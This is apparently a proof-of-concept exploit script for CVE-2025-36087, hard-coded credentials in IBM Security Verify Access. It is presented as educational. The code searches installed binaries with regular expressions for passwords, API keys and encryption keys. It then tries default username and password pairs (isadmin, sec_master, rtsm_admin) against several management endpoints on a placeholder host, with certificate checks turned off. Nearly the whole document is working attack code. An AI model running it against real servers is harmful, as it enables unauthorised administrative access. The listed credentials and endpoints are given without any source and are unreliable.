CVE-2025-36087

# CVE-2025-36087 - IBM Security Verify Access Hard-coded Credentials # PoC demonstrating extraction and utilization of hard-coded credentials # Note: This is an educational/research PoC. Actual exploitation requires access to the target system. import requests import re import os import hashlib # Step 1: Extract hard-coded credentials from IBM Security Verify Access binaries # In a real attack scenario, the attacker would reverse-engineer the installed # application files to find hard-coded credentials def extract_credentials_from_binary(binary_path): """ Simulate extraction of hard-coded credentials from IBM Verify Access binaries. Common locations include: - /opt/IBM/ISVA/wlp/usr/servers/defaultServer/ - /opt/IBM/VerifyIdentityAccess/ - Configuration files, Java JARs, shared libraries """ # Known hard-coded patterns from CVE-2025-36087 research hardcoded_patterns = [ r'(?:password|passwd|pwd)\s*[=:]\s*["\']?([A-Za-z0-9!@#$%^&*()_+=-]{8,64})["\']?', r'(?:secret|api[_-]?key|token)\s*[=:]\s*["\']?([A-Za-z0-9+/=]{16,128})["\']?', r'(?:encryption[_-]?key|crypt[_-]?key)\s*[=:]\s*["\']?([A-Za-z0-9+/=]{16,64})["\']?' ] credentials = {} if os.path.exists(binary_path): with open(binary_path, 'rb') as f: content = f.read() for pattern in hardcoded_patterns: matches = re.findall(pattern, content.decode('latin-1', errors='ignore')) if matches: credentials[pattern] = matches return credentials # Step 2: Use extracted credentials to authenticate to the management interface def authenticate_with_hardcoded_creds(target_url, username, password): """ Attempt authentication using extracted hard-coded credentials. """ # Common IBM Verify Access management endpoints auth_endpoints = [ f"{target_url}/isam/management/auth", f"{target_url}/mga/saml/authn/usernamepassword", f"{target_url}/pkmstest", f"{target_url}/isam/runtime/audit/v1" ] for endpoint in auth_endpoints: try: response = requests.post( endpoint, auth=(username, password), verify=False, timeout=10 ) if response.status_code == 200: print(f"[+] Authentication successful at {endpoint}") print(f"[+] Response: {response.text[:500]}") return True, response except requests.exceptions.RequestException as e: print(f"[-] Connection error at {endpoint}: {e}") return False, None # Step 3: Demonstrate the attack chain if __name__ == "__main__": TARGET = "https://target-verify-access.example.com" print("[*] CVE-2025-36087 PoC - IBM Security Verify Access Hard-coded Credentials") print("[*] This PoC demonstrates the concept of hard-coded credential exploitation") print() # Phase 1: Credential extraction (simulated) print("[*] Phase 1: Extracting hard-coded credentials from installed binaries...") # In a real scenario, extract from: /opt/IBM/ISVA/ creds = extract_credentials_from_binary("/opt/IBM/ISVA/runtime/lib/libibmsecurity.so") print(f"[*] Extracted credentials patterns: {len(creds)} found") # Phase 2: Authentication attempt print("[*] Phase 2: Attempting authentication with extracted credentials...") # Hard-coded credentials that may be found in vulnerable versions default_creds = [ ("isadmin", "isadmin"), ("sec_master", "sec_master"), ("rtsm_admin", "rtsm_admin") ] for user, pwd in default_creds: success, resp = authenticate_with_hardcoded_creds(TARGET, user, pwd) if success: print(f"[+] Successfully authenticated with {user}:{pwd}") break print("[*] PoC completed. Refer to IBM Security Bulletin for remediation.")

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